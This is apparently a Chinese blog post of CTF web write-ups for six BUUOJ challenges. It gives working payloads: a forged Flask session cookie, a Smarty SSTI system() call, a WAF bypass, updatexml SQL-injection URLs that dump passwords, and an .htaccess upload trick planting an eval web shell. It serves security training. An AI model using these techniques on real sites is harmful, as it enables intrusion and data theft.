近期Web笔记~7.26

发布于 2020-07-26  1665 次阅读


[HCTF 2018]WarmUp

php中的文件包含漏洞:?(不存在的目录)/../ 即为当前目录

在传入payload的时候对?进行二次URL编码

[HCTF 2018]admin

https://www.jianshu.com/p/f92311564ad0

https://www.leavesongs.com/PENETRATION/client-session-security.html

发现源码泄露(Github),查看源码,发现是基于Flask框架的网页应用。审计route.py查看其修改密码的原理发现其只需要验证session中的username就可以修改。而Flask中的session类似于jwt,是将用户信息加密后直接存储在cookies中,于是可以尝试伪造session。

三种解法:

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'788dc057f7e92d1118ddf778e2a50872613d5b6542191b592f3832088556a6b873838e827fea3962bb6208862381e67f253607e0711561981944a8904882a602', 'csrf_token': b'4fab5875f365122d51e519d77c826d2f24a46157', 'image': b'Df1w', 'name': 'admin', 'user_id': '11'}"
.eJxFUE1vgkAQ_SvNnD2UFS4mHkyWEkxmCGao2b0YBQQW1yagETD-9662aa_vvXkfc4fdsSv7GhaX7lrOYNcUsLjD2wEWQFPl6whvxIUlkQVo0wE5dNjG0pT7mtc18cqnKRbI1NI2FsTpiNwOyjz1akokjigrnzgTinWTyPyJudtqJKFPijEgs26UUT86Ezv-40SmsGiyicxqrnk1d7kemTBIZBiQ3NSJbG_k9GhDgTJewmMGed8dd5evtjz_T4h07aq4ip8WJ-Uhx6OW2aA5G5JtOieBPhrduqojReG7i_DotnzZNXZflX9Om0gNxS9z3ltHwL6wzRlmcO3L7vU38Dx4fANn5Gva.XxO4XQ.ttm_eyd619g9tC3YHZ6iq0hx13s
  • Unicode欺骗:在注册和充值密码的时候,各用了一次Twisted的nodeprep.prepare 函数,早期版本的这个函数会造成Unicode安全漏洞,这里在注册的使用ᴬdmin这个用户名,在注册的时候会变成Admin,重置密码的时候就会变成admin了。
  • 条件竞争:代码见原链接

[BJDCTF2020]The mystery of ip

Burp修改xff头,将ip变更为{{1+1}}发现回显为2,说明存在SSTI,尝试后发现是Smarty的SSTI,于是直接传入{{system('命令')}}即可。

[RoarCTF 2019]Easy Calc

查看源代码,提示有waf

进入calc.php,尝试传参,发现会被waf限制,于是利用php在解析变量的时候会自动去掉变量名的空格,于是直接传入?(空格)num=参数,就可以bypass waf

之后使用var_dump+scandir+chr绕过引号检测,转换代码:

<?php
$str='/f1agg';
for($i=0;$i<strlen($str);$i++){
    $ret.='chr('.strtoupper(ord($str[$i])).').';
}
print $ret;
?>

[极客大挑战 2019]HardSQL

fuzz了一下,例如and和空格都已经被过滤掉了,只能报错注入,尝试extractvalue失败,于是使用updatexml:

http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database()))),1))%23&password=s

http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&password=1%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%23

http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&password=1%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1))),1))%23

由于updatexml的返回值有长度限制,在这里substr都被ban了,只能用骚操作left()和right()了

http://d68b60e4-716f-4d0c-b62d-3f191890604a.node3.buuoj.cn/check.php?username=admin&password=1%27or(updatexml(1,concat(%27~%27,(select(right(group_concat(password),30))from(H4rDsq1))),1))%23

[MRCTF2020]你传你🐎呢

一开始上传几个jpg都提示不行,还以为题目坏了,后面发现是题目对于文件大小有限制。只要content-type是image/jpeg,文件拓展不包含php和phtml,文件内容不包含<?php即可成功上传,于是这题考虑改.htaccess,先上传.htaccess:

<FilesMatch "crack.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

之后上传crack.jpg:

<script language='php'>eval($_REQUEST[c]);</script>

之后就可以连接shell了,发现system命令已经被disable掉了,于是尝试readfile('/flag');成功


等风来,不如追风去。